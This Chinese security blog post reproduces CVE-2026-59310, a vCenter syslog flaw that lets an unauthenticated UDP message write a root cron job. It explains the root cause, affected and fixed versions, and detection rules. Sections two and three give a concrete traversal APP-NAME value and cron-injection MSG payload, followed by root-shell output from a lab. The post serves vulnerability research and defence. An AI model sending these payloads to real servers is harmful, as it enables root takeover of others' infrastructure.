文章总结: 本文详细复现了CVE-2026-59310漏洞,该漏洞影响VMwarevCenter的Syslog服务,CVSS评分9.8,无需凭据即可通过UDP报文实现远程代码执行。漏洞由三个缺陷叠加构成:动态路径模板拼接不可信字段导致目录遍历、日志选择器前缀匹配缺陷、关闭换行转义使文件行结构可控,最终可写入cron.d目录实现root权限提升。文章提供了完整复现过程、影响范围、检测方法和修复版本信息,建议受影响用户立即升级至修复版本。 综合评分: 90 文章分类: 漏洞分析,应急响应,漏洞预警,解决方案,安全工具
一条日志报文拿到 vCenter 的 root:CVE-2026-59310 复现记录
松杨网络安全资料库
2026年9月29日 17:09 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一个不需要凭据的 UDP 报文,写进目录,一分钟后以 root 身份执行命令。
一、漏洞背景
| 项 | 内容 |
| — | — |
| 编号 | CVE-2026-59310 |
| 上游根因 | GHSA-xmp9-244p-5ggv / CVE-2026-92709(rsyslog omfiledynaFile 路径遍历) |
| 组件 | vCenter Syslog 接收服务(内置 rsyslog,VMware 定制配置) |
| 类型 | 目录遍历 → 任意文件写入 → 本地提权至 root(RCE) |
| CVSS 3.1 | 9.8(AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H) |
| 认证 | 不需要 |
| 触达方式 | 网络可达 UDP/514、TCP/514、TLS/1514 |
| 官方 workaround | None (只能升级或网络隔离) |
影响范围
| 分支 | 受影响 | 修复版本 | | — | — | — | | vCenter 9.1 | < 9.1.0.0300 | 9.1.0.0300 | | vCenter 9.0 | < 9.0.2.0100 | 9.0.2.0100(Build 25629525) | | vCenter 8.0 U3 | < 8.0 U3k | 8.0 U3k | | vCenter 8.0 U2 | < 8.0 U2f | 8.0 U2f | | vCenter 8.0 初始版 / U1 | 受影响 | 升级分支 | | vCenter 7.0 | 受影响 | 需扩展支持补丁,否则迁移 | | VCF 5.x / vSphere Foun dation / Telco Cloud | 含 vCenter 组件,同样受影响 | 按对应 KB 打补丁 |
缺陷链概览
三个独立缺陷叠在一起构成 RCE:
| | 缺陷 | 位置 | 作用 |
| — | — | — | — |
| ① | 动态路径模板 直接拼接不可信字段 | 落盘模板, %app-name%同时作目录名与文件名 | 提供穿越能力 |
| ② | 日志选择器用前缀匹配 | 规则 :app-name, startswith, "rsyslog" | 让 APP-NAME 以 rsyslog开头即命中 |
| ③ | 关闭换行转义 | $EscapeControlCharactersOnReceive off | 让文件行结构可控, 这是 RCE 的关键 |
二、漏洞原理
漏洞的成因就在一条模板和两个开关上。
第一个是落盘模板。vCenter 那份配置里,日志的路径是拼出来的:
$template rsyslogadminLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
%app-name%出现了两次,一次当目录名,一次当文件名前缀。而 app-name来自 RFC5424 报文里的 APP-NAME 字段,受攻击者控制:
/var/log/vmware/rsyslog/../../../../../etc/cron.d/cve59310abcd
└─── 模板给的起点 ───┘└──── 发包的人填的 APP-NAME ────┘
归一化后落在 /etc/cron.d/,模板再补 -syslog.log后缀。omfile的 dynaFile writer 还默认自动创建缺失的父目录,追加写入。
第二个是解析器的差异,用 RFC5424 报文:
| 解析器 | 收到 rsyslog/../../../../tmp/x时 APP-NAME 的实际取值 |
| — | — |
| pmrfc3164 | rsyslog ← 在 /处被截断,穿透失败且静默无报错 |
| pmrfc5424 | rsyslog/../../../../tmp/x ← 完整保留 |
第三个是换行转义开关。单单能写文件还不够,/etc/cron.d/下的文件是按行解析的。正常情况下 rsyslog 会把报文里的换行转义成 #012,防止注入伪造日志条目;vCenter 那份配置把它关掉了:
$EscapeControlCharactersOnReceive off
换行原样落盘,攻击者就拿到了文件内容的行结构控制权。模板会自动在每条日志前面加一段前缀,所以注入的 MSG 要用前导换行把前缀挤成废行,再用尾部 #注释掉多余的部分:
APP-NAME = rsyslog/../../../../../etc/cron.d/cve59310abcd
MSG = "\n* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'\n#"
落盘结果:
2026-01-05T12:00:00Z info h rsyslog/../../../../../etc/cron.d/cve59310abcd ← 模板前缀,废行
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← 注入行,合法
# ← 尾注释
三、漏洞复现
3.1 环境
| 项 | 值 |
| — | — |
| 靶机 | 192.168.50.136(Ubuntu,Docker) |
| 靶场 | 容器 rsyslog-cve-2026-59310,基于 almalinux:9+ cronie 1.5.7 |
| 组件 | rsyslog 8.2510.0,复刻 vCenter 出厂配置 |
| 端口 | 514/udp、514/tcp |
| 攻击机 | 同宿主,Python 3 |
反弹 shell 验证通过,拿到交互式 root:
[*] 回连成功,来自 192.168.x.x:42774 —— root shell 已建立
root@ad638461243b:~# id
uid=0(root) gid=0(root) groups=0(root)
四、修复方式
4.1 官方修复(vCenter)
| 分支 | 修复版本 | | — | — | | 9.1 | 9.1.0.0300 | | 9.0 | 9.0.2.0100(Build 25629525) | | 8.0 U3 | 8.0 U3k | | 8.0 U2 | 8.0 U2f | | VCF 5.x | 见 KB88287 | | Telco Cloud | 见 KB449886 |
4.2 检测与排查
排查文件:
find / -name '*-syslog.log' -not -path '/var/log/vmware/*'
日志目录外的 *-syslog.log是明确的入侵痕迹——正常业务不会在 /tmp、/etc/cron.d/、htdocs 目录下生成这种命名规则的文件。
其余判据:
| 层面 | 规则 |
| — | — |
| 网络 | dst_port 为 514 / 1514 且 payload 含 ../或 %2e%2e%2f |
| 文件 | /etc/cron.d/ 下出现带 -syslog.log后缀的条目 |
| 文件 | rsyslogd 进程写入 /opt/vmware/share/htdocs/下的文件 |
| YARA | 匹配 RFC5424 PRI + version 前缀 + 遍历序列 + 目标路径片段(etc/cron.d、opt/vmware/share/htdocs) |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:松杨网络安全资料库 《一条日志报文拿到 vCenter 的 root:CVE-2026-59310 复现记录》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论